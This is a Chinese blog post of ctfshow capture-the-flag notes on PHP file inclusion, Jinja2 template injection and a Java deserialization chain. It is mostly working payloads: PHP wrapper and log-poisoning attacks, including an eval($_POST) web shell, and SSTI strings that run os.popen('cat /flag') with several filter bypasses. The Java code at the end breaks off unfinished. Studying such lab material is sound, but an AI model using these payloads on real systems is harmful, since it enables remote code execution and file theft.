ctfshow做题记录

一些做题记录


文件包含部分:

web78

无任何过滤:

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

过滤了php,直接读文件是不行了,考虑data伪协议执行命令(base64编码):

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//<?php system('cat flag.php');

或者:

1
?file=data://text/plain,<?=`tac f*`;?>

就是利用php里的短标签。<?= ?>相当于<?php echo ?>

另外str_replace是区分大小写的:

1
2
3
4
5
6
7
8
9
<?php
$file = "phpPHPpHpPhP";
$file1 = str_replace("php", "???", $file);
echo $file1;
echo '----------------';
$file2 = str_ireplace("php", "???", $file);
echo $file2;
?>
//结果:???PHPpHpPhP----------------????????????

所以解法还有:

1
2
3
?file=Php://input

POST执行的数据

web80

过滤了dataphp的大小写。。这里要用远程包含/日志包含:

日志包含

个人理解就是通过include和日志文件中的特定内容配合(include把啥东西都当php读)

日志文件常见路径:

1
2
3
/var/log/apache/access.log
/var/log/nginx/access.log
/var/log/nginx/error.log

只有第二个有正常的回显:

ctfshow80

存在UA头,所以直接把UA头修改成:

1.<?php system('ls');?><?php system('cat fl0g.php');?>传过去再刷新下网页就行

2.<?php @eval($_POST['a']); ?> a=system('cat fl0g.php');

web81

比之前多了个:,还是上一题的日志包含(主要是禁了input那个方法)。

web82

web88

/i模式匹配的大小写,=也被过滤了。这里还是用79那里的data伪协议执行命令:

1
2
3
4
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  
<?php system('tac fl0g.php'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
//因为等号被过滤了所以转base64后再去掉等号
1

SSTI部分:

web361

无任何过滤:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web362

同上:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web363

应该是过滤了单引号双引号:

头要么用config,要么用(),过滤了引号可以(这个单双引号好像没法用十六进制去表示):

ctfshowweb363_1

把之前payload中带引号的都放到request.args.path中就行:

1
?name={{config.__class__.__init__.__globals__[request.args.x1].popen(request.args.x2).read()}}&x1=os&x2=cat /flag

web364

应该是在上题的基础上过滤了args,搜了下还可以用cookie传值

参考文章

1
2
3
4
payload
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

这个x当开头第一次见:

ctfshowweb364_1

config的话类中__init__函数全局变量中已经导入了”os”模块,可以直接调用。

1
2
3
?name={{config.__class__.__init__.__globals__[request.cookies.x1].popen(request.cookies.x2).read()}}
//hackbar直接传:
Cookie: x1=os;x2=cat /flag //Cookie不用加

web365

在之前的基础上过滤了中括号:

__getitem__ 方法是 Python 对象的一个内建方法,当你使用中括号 [] 来访问对象的元素时,实际上是调用了这个方法。

对于字典来说,使用 __getitem__ 方法,你可以这样获取字典中的键值:

1
2
3
my_dict = {'key1': 'value1', 'key2': 'value2'}
result = my_dict.__getitem__('key1') # 或者直接写作 result = my_dict['key1']
print(result)

所以:

1
2
3
?name={{config.__class__.__init__.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}}
//hackbar直接传:
Cookie: x1=os;x2=cat /flag //Cookie不用加

web366

过滤了下划线:

参考文章

使用 foo|attr("bar") 可以获取对象 foo 的属性 bar 的值,类似于 foo.bar 的用法。

所以:

1
2
3
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

简单说还是利用请求参数进行逃逸

web367

同上

web368

又过滤了双大括号,但{%%}这东西并没有过滤。

参考文章

不过注意要加上print,不然只会执行命令,没回显。在上一题基础上修改就行:

1
2
3
/?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

还有其它解法(其实就是把上面的拆开了:

1
2
3
name={%set aaa=(x|attr(request.cookies.in)|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print(aaa.eval(request.cookies.cmd))%}

in=init;gl=globals;ge=getitem;bu=builtins;cmd=import('os').popen('cat /f*').read()

web369

又过滤了request,直接抄了yu师傅的:

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

反序列化部分

web254

组件漏洞

web580

危险方法:transform(value)

invokerTransform.transform(object)可利用反射调用任意方法

现在寻找调用transform方法的其它函数:

checksetvalue:

1
2
3
4
//TransformedMap.java
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

valueTransformer:

1
2
3
4
5
6
   protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//这是一个构造方法

TransformedMap 的构造方法作用域是 protected,我们还需要去找一找谁调用了 TransformedMap 的构造方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这里new了一个transformedmap,肯定调用了构造方法。注意这个构造方法是静态的,然后接受三个参数:

1
map map, Transformer keyTransformer, Transformer valueTransformer

现在写个简单链子:

Transformedmap.decorate(map,null,invokerTransform)

遍历被修饰的map即可走到被修饰的方法

走到setvalue方法就会走到checksetvalue

所以遍历刚才那个Transformedmap就会走到Transformedmap底下的checksetvalue

1
2
3
4
5
6
7
8
9
10
11
public class Test01 {
public static void main(String[] args) throws Exception{
Class runtime = Runtime.class;
//通过反射获得runtime的Class
//Runtime runtime = Runtime.getRuntime();
Method m1 = runtime.getDeclaredMethod("getRuntime");
//调用getruntime静态方法
Runtime run1 = (Runtime)m1.invoke(null,null);
Method m2 = runtime.getDeclaredMethod("exec", String.class, String[].class);
m2.invoke("run1","calc");

1
Method runtimeMethod = (Method) new InvokerTransformer()

ctfshow做题记录
http://example.com/2024/03/01/做题记录_SSTI/
作者
notbad3
发布于
2024年3月1日
许可协议